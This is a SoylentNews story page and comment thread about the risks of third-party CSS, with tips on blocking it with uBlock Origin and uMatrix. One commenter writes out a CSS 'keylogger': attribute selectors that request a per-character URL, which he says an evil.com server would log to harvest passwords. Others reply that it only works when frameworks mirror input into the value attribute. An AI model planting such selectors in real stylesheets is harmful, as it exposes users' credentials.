Stories
Slash Boxes
Comments

SoylentNews is people

posted by Fnord666 on Wednesday February 28 2018, @06:07PM   Printer-friendly
from the just-use-lynx-and-elm dept.

Jake Archibald writes in his blog about the bigger problem presented by importing third-party content into web pages. Even CSS is a problem as a CSS keylogger demo showed the other day.

A few days ago there was a lot of chatter about a 'keylogger' built in CSS.

Some folks called for browsers to 'fix' it. Some folks dug a bit deeper and saw that it only affected sites built in React-like frameworks, and pointed the finger at React. But the real problem is thinking that third party content is 'safe'.

While most are acutely aware, yet ignore, the danger presentd by third-party javascript and javascript in general, most forget about CSS. Jake reminds us and walks through quite a few exampled of how CSS can be misused by third-parties exporting it.

Source : Third party CSS is not safe


Original Submission

 
This discussion has been archived. No new comments can be posted.
Display Options Threshold/Breakthrough Mark All as Read Mark All as Unread
The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.
  • (Score: 1, Informative) by Anonymous Coward on Wednesday February 28 2018, @06:21PM (21 children)

    by Anonymous Coward on Wednesday February 28 2018, @06:21PM (#645288)

    Why should I trust a website in the first place? NoScript applies to the website I am visiting as much as it does to anything it implements from a 3rd party.

    Starting Score:    0  points
    Moderation   +1  
       Informative=1, Total=1
    Extra 'Informative' Modifier   0  

    Total Score:   1  
  • (Score: 4, Informative) by RS3 on Wednesday February 28 2018, @06:30PM (20 children)

    by RS3 (6367) on Wednesday February 28 2018, @06:30PM (#645291)

    NoScript doesn't stop 3rd-party css. Here's an example from a dice.com page:

    link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto+Condensed"

    • (Score: 3, Interesting) by zocalo on Wednesday February 28 2018, @07:02PM (4 children)

      by zocalo (302) on Wednesday February 28 2018, @07:02PM (#645310)
      uBlock Origin does give you the option, although I think it permits it by default and I turned it off while configuring it.
      --
      UNIX? They're not even circumcised! Savages!
      • (Score: 5, Informative) by zocalo on Wednesday February 28 2018, @07:15PM (3 children)

        by zocalo (302) on Wednesday February 28 2018, @07:15PM (#645319)
        Yep, just done a clean install and uBlock Origin does indeed permit CSS globally by default. Simplest way to set it to first party only is to go into the config screen, select the "My rules" tab, and then click "Edit" under the temporary rules section. Change the line:

        * * css allow

        to:

        * 1st-party css allow

        click "Save", then click "Commit".
        --
        UNIX? They're not even circumcised! Savages!
        • (Score: 3, Informative) by RamiK on Wednesday February 28 2018, @07:49PM (2 children)

          by RamiK (1813) on Wednesday February 28 2018, @07:49PM (#645344)

          Simplest way to set it to first party only is to go into the config screen...

          Just install uMatrix+uBlock instead of NoScript+AdAway and get the same feature-set but with a UI that lets you allow/disallow CSS per-domain or even sub-domain with four clicks of the button.

          --
          compiling...
          • (Score: 0) by Anonymous Coward on Wednesday February 28 2018, @10:14PM (1 child)

            by Anonymous Coward on Wednesday February 28 2018, @10:14PM (#645438)

            NoScript protects far more than just JavaScript. Sadly you still need all three. All have unique features.

            • (Score: 2) by RamiK on Wednesday February 28 2018, @11:18PM

              by RamiK (1813) on Wednesday February 28 2018, @11:18PM (#645479)

              NoScript protects far more than just JavaScript.

              The clickjacking protection is covered by the CSS blocking while the XSS and anti-tracking protection is covered by the XHR.

              The additional functionality NoScript also packages is extra scripts that circumvent specific ad-walls. But not only those scripts are fragile and break every other day (literally as ad-wall operators are actively combating NoScript and AdAway), when they break they live your client running all the scripts, displaying the ads, and letting viruses through.

              Other than that, citation needed.

              --
              compiling...
    • (Score: 2, Informative) by nitehawk214 on Wednesday February 28 2018, @07:58PM (3 children)

      by nitehawk214 (1304) on Wednesday February 28 2018, @07:58PM (#645350)

      uMatrix does not block 3rd party CSS by default. You can enable it, but it breaks nearly every website.

      --
      "Don't you ever miss the days when you used to be nostalgic?" -Loiosh
      • (Score: 3, Informative) by DannyB on Wednesday February 28 2018, @08:59PM (1 child)

        by DannyB (5839) Subscriber Badge on Wednesday February 28 2018, @08:59PM (#645394) Journal

        A fun uMatrix tip.

        I've noticed a number of anti-adblocking sites. I go to their page and the site briefly appears, and then is immediately replaced by a fully white background that says

        Something interfered with this website loading.

        I simply turn off 1st party scripts, refresh, and everything seems good.

        In the past, and for years, in some cases I could simply View --> Page Style --> No Style. But no longer.

        uMatrix is so much better than AdBlock -- if you are a geek. It gives you a lot finer control. The ability to individually indicate whether to accept cookies, frames, CSS, HTML, media, even XHR from any site that the page attempts to load from.

        --
        The lower I set my standards the more accomplishments I have.
        • (Score: 0) by Anonymous Coward on Thursday March 01 2018, @12:41AM

          by Anonymous Coward on Thursday March 01 2018, @12:41AM (#645526)

          uBlock's eye dropper tool lets you block individual elements like those.

      • (Score: 0) by Anonymous Coward on Thursday March 01 2018, @03:27AM

        by Anonymous Coward on Thursday March 01 2018, @03:27AM (#645591)

        it breaks nearly every website.

        Those websites were broken long before a user with uMatrix came along.

        Yes, 85% of the web is defective by design. Welcome to 2018.

    • (Score: 3, Informative) by tangomargarine on Wednesday February 28 2018, @08:24PM (1 child)

      by tangomargarine (667) on Wednesday February 28 2018, @08:24PM (#645370)

      RequestPolicy even blocks first-party CSS, so I would think they probably block third as well.

      I run AdBlock*+NoScript+RequestPolicy on Pale Moon.

      *whatever the generic version for PM is called

      --
      "Is that really true?" "I just spent the last hour telling you to think for yourself! Didn't you hear anything I said?"
      • (Score: 0) by Anonymous Coward on Saturday March 03 2018, @05:47AM

        by Anonymous Coward on Saturday March 03 2018, @05:47AM (#646877)

        I run AdBlock*+NoScript+RequestPolicy on Pale Moon

        Thank you! I grabbed RequestPolicy 0.5.28 straight from Mozilla's add-on site for Firefox [mozilla.org] and it worked link a champ straight away in Pale Moon. (I had already been running "NoScript" and "Adblock Latitude" add-ons for Pale Moon.)

        No more unapproved whacky third-party CSS for me!

    • (Score: 0) by Anonymous Coward on Wednesday February 28 2018, @08:28PM (8 children)

      by Anonymous Coward on Wednesday February 28 2018, @08:28PM (#645372)

      This is such a non-issue for browser users, there's hardly any point in blocking 3rd-party CSS at the browser level.

      This "CSS keylogger" depends on Javascript code running on the page to actually capture any keystrokes -- that script has to assign them to an element attribute so the CSS attribute selector can act upon it. Apparently some "web frameworks" do exactly this with password input elements, thus enabling styles to depend on the user's keystrokes in certain situations. Since styles can request external resources, a malicious stylesheet can make the user's browser reveal which styles were applied.

      Sometimes servers send various secrets in attribute values (usually in hidden input elements). A stylesheet could potentially exfiltrate those values in a similar manner, without depending on any Javascript.

      • (Score: 4, Informative) by DannyB on Wednesday February 28 2018, @09:15PM (7 children)

        by DannyB (5839) Subscriber Badge on Wednesday February 28 2018, @09:15PM (#645401) Journal

        It didn't seem to me like any JavaScript was required. Did you see the CSS example in TFA?

        Suppose you had a single input field <input type="password"/>

        In the example CSS . . .

        input[type="password"][value$="a"] {
          background: url('/password?a');
        }

        This CSS, without any JavaScript, would match your input field named "password". It would match only if the value in the password ended in the letter "a". If so, it would fetch a URL ending in "a".

        Now duplicate that 3 line snippet, and replicate it for every character you might type as a password. Send this CSS stylesheet to the browser.

        input[type="password"][value$="a"] {
          background: url('/password?a');
        }
        input[type="password"][value$="b"] {
          background: url('/password?b');
        }
        // etc . . .
        input[type="password"][value$="z"] {
          background: url('/password?z');
        }

        Now, as you type each character of your password into the field, the "last character" of the field will match a different style rule, which will trigger loading a different background image from the URL. Now, all background images returned could be a 1x1 pixel transparent PNG. My evil.com server will get the URL hits asking for the transparent image for each character of your password as you type it.

        I could further augment this stylesheet to have a similar set of rules, but to slightly different URLs so that I could capture every character you type into the "username" field as well.

        I simply log all these URL hits in my database. I sort them by IP address, then by time. I'll notice a number of character hits, from you, grouped together in short time intervals (when you were typing), first in the username field, then in the password field. Poof! I now have your login credentials -- by sending you nothing more than a CSS file!

        That's almost as fun as monkeying with some Microsoft fanboy's Visual Studio .h files

        #define while if      // speed up code
        #define struct union  // use lees memory

        --
        The lower I set my standards the more accomplishments I have.
        • (Score: 2, Informative) by Anonymous Coward on Wednesday February 28 2018, @11:24PM (3 children)

          by Anonymous Coward on Wednesday February 28 2018, @11:24PM (#645485)

          Suppose you had a single input field <input type="password"/>

          In the example CSS . . .

          input[type="password"][value$="a"] {
                  background: url('/password?a');
          }

          This CSS, without any JavaScript, would match your input field named "password". It would match only if the value in the password ended in the letter "a". If so, it would fetch a URL ending in "a".

          No, this does not work as you describe. The CSS attribute selector is based on the element's value attribute in the DOM, which does not depend on what the user types. Try it and see -- this selector simply does not match your example element since it has no value attribute.

          With your example input, there is no value attribute, so the selector is not matched. Javascript is required to update the DOM in order for the style to be applied "dynamically". Alternately, the server could send a value attribute to start with (for example, <input type='password' value='endswitha' />, but this is static and also not changed by user input.

          • (Score: 2) by coolgopher on Thursday March 01 2018, @12:37AM

            by coolgopher (1157) on Thursday March 01 2018, @12:37AM (#645523)

            And this is where the comment about this attack largely depending on React like frameworks, where it's very common to make a control "managed" by keeping the authoritative state outside of the DOM and injecting it as-needed via the value="xyz" attribute of the control.

          • (Score: 2) by DannyB on Thursday March 01 2018, @02:34PM (1 child)

            by DannyB (5839) Subscriber Badge on Thursday March 01 2018, @02:34PM (#645769) Journal

            Okay. So I just now constructed a trivial example, and you're right. I cannot get this to happen.

            A page H1.html:

            Type password hear: <input type="password" value=""/>
            <style>
                input[type="password"][value$="a"] { background: url("https://some.server/example/H2.jsp?char='a'"); }
                input[type="password"][value$="b"] { background: url("https://some.server/example/H2.jsp?char='b'"); }
                input[type="password"][value$="c"] { background: url("https://some.server/example/H2.jsp?char='c'"); }
                input[type="password"][value$="d"] { background: url("https://some.server/example/H2.jsp?char='d'"); }
            </style>

            And a responder H2.jsp:

            <%System.out.println("H2: "+request.getParameter("char"));%>

            Now my responder does not return an image. But it does print on the server's console when a request is received, and what the "char" parameter value is.

            By manually invoking the URL from the browser's address bar:

            I can get the server's console to print out:

            H2: foobar

            But not by typing in the password field. I also tried changing the field type from password to text.

            I tried in Chrome, FireFox, IE and Edge.

            I also tried "relative" URLs rather than fully qualified URLs that specify the https and server name.

            So I must be misunderstanding something in TFA.

            --
            The lower I set my standards the more accomplishments I have.
            • (Score: 0) by Anonymous Coward on Tuesday March 06 2018, @08:15PM

              by Anonymous Coward on Tuesday March 06 2018, @08:15PM (#648658)

              So I must be misunderstanding something in TFA.

              Styles can depend on the state of the DOM, and Javascript can update the DOM (and therefore cause style changes). Without Javascript, the DOM is fixed once the document is loaded and, for the most part, so are styles (the exceptions are certain pseudo-classes like :visited and :checked).

              In TFA, the 3rd-party stylesheet is "leaking" the state of the DOM, which is updated by some 1st-party Javascript libraries. This could be a problem for website operators because they may be giving more control of their site to third parties than they imagined. (Although even without this kind of information leak stylesheets have almost total control over the document's presentation and malicious styles can do all sorts of nasty things).

              But the reason I say this is an almost total non-issue for browser users is because third party content doesn't really change the story for them. Either the site is logging keystrokes or it is not. Whether that's done by 1st-party or 3rd-party scripts/styles/whatever doesn't really matter.

        • (Score: 2) by julian on Wednesday February 28 2018, @11:33PM (1 child)

          by julian (6003) Subscriber Badge on Wednesday February 28 2018, @11:33PM (#645491)

          That's brilliant and terrifying.

          The web was a mistake.

          • (Score: 2) by FatPhil on Thursday March 01 2018, @10:09AM

            by FatPhil (863) <reversethis-{if.fdsa} {ta} {tnelyos-cp}> on Thursday March 01 2018, @10:09AM (#645701) Homepage
            The stupid thing is that this type of bugfeature was known about nearly a decade ago.
            It was introduced in CSS2, and fixed in CSS2.1
            And now they brought it back, because repeating mistakes is hilarious.
            https://blog.mozilla.org/security/2010/03/31/plugging-the-css-history-leak/
            --
            Great minds discuss ideas; average minds discuss events; small minds discuss people; the smallest discuss themselves
        • (Score: 2) by MichaelDavidCrawford on Thursday March 01 2018, @01:05AM

          by MichaelDavidCrawford (2339) Subscriber Badge <mdcrawford@gmail.com> on Thursday March 01 2018, @01:05AM (#645540) Homepage Journal

          -d

          After seeing this in someone's source I always employ it myself. I can't be bothered to use #error:

          #if this

          #elif that

          #elif those

          #else
          you
          lose
          #endif

          Don't say I never did nothin' fer ya.

          --
          Yes I Have No Bananas. [gofundme.com]